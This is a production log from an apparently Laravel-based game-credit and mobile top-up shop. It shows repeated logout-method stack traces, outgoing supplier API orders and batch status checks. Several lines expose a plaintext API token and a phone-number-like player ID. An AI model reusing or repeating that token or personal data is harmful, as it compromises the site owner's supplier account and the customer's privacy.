#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:21:11] production.INFO: Constructing job for order: 179469  
[2026-03-24 22:21:11] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:21:12] production.INFO: Handling job for order: 179469  
[2026-03-24 22:21:12] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:21:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:21:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=09d36129-284a-42bc-88ef-2f7aa993cf1a&Player_ID=0982153152  
[2026-03-24 22:21:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=09d36129-284a-42bc-88ef-2f7aa993cf1a&Player_ID=0982153152","has_body":false} 
[2026-03-24 22:21:12] production.INFO: Operation sent successfully {"operation_id":164339,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Vox1VSS-1774380072","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 22:21:12"}},"processed_data":{"order_number":"ORD-Vox1VSS-1774380072","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 22:21:13] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:21:15] production.INFO: Constructing job for order: 179470  
[2026-03-24 22:21:18] production.INFO: Handling job for order: 179470  
[2026-03-24 22:21:18] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:21:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:21:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=312fb72f-55a0-4cd4-86b6-5d727c3a6b1b&Player_ID=0982153152  
[2026-03-24 22:21:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=312fb72f-55a0-4cd4-86b6-5d727c3a6b1b&Player_ID=0982153152","has_body":false} 
[2026-03-24 22:21:19] production.INFO: Operation sent successfully {"operation_id":164340,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-njIVOi-1774380079","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 22:21:19"}},"processed_data":{"order_number":"ORD-njIVOi-1774380079","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 22:22:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01"} 
[2026-03-24 22:22:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","total_operations":6,"sites_count":2} 
[2026-03-24 22:22:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-wgI-1774379855"]} 
[2026-03-24 22:22:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:22:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:22:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:22:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:22:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:22:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":5,"order_ids":["ORD-ZNlTOl-1774380023","ORD-CW4R3Wj-1774380033","ORD-o7E2No-1774380043","ORD-Vox1VSS-1774380072","ORD-njIVOi-1774380079"]} 
[2026-03-24 22:22:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:22:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":5} 
[2026-03-24 22:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-njIVOi-1774380079","operation_id":164340} 
[2026-03-24 22:22:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334,"processed":4,"skipped":1,"updates_prepared":4} 
[2026-03-24 22:22:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334,"total_items":4,"chunks":1,"chunk_size":10} 
[2026-03-24 22:22:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334,"count":4} 
[2026-03-24 22:22:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334,"count":4} 
[2026-03-24 22:22:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334,"user_id":115,"notification_type":"order_approved","reference_id":179465} 
[2026-03-24 22:22:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334,"user_id":115,"notification_type":"order_approved","reference_id":179466} 
[2026-03-24 22:22:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334,"user_id":587,"notification_type":"order_approved","reference_id":179469} 
[2026-03-24 22:22:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334,"user_id":115,"notification_type":"order_approved","reference_id":179464} 
[2026-03-24 22:22:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334,"chunk_number":1,"processed":4,"errors":0,"total_operations":4,"total_orders":4,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:22:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334,"total_processed":4,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:22:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334,"processed":4,"errors":0} 
[2026-03-24 22:22:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334,"processed":4,"errors":0} 
[2026-03-24 22:22:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"02mqxPJQ8UdztFuGTiNITKPaKUU6qWe0","execution_time":"2026-03-24 22:22:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ZNlTOl-1774380023","operation_id":164334} 
[2026-03-24 22:22:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 115  
[2026-03-24 22:22:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 115  
[2026-03-24 22:22:03] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 22:22:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 115  
[2026-03-24 22:22:12] production.INFO: Constructing job for order: 179471  
